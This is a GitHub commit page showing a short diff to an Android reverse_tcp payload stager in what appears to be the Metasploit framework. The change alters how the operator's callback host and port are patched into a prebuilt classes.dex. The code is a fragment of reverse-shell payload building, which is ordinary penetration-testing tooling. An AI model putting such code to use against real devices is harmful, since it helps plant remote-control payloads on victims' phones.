Skip to content

Commit ae0691c

Browse files
committed
make string replacement more robust
1 parent 8920e0c commit ae0691c

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,8 +36,8 @@ def generate_jar(opts={})
3636

3737
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
3838

39-
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
40-
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
39+
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
40+
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
4141
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
4242
jar.add_file("classes.dex", fix_dex_header(classes))
4343

0 commit comments

Comments
 (0)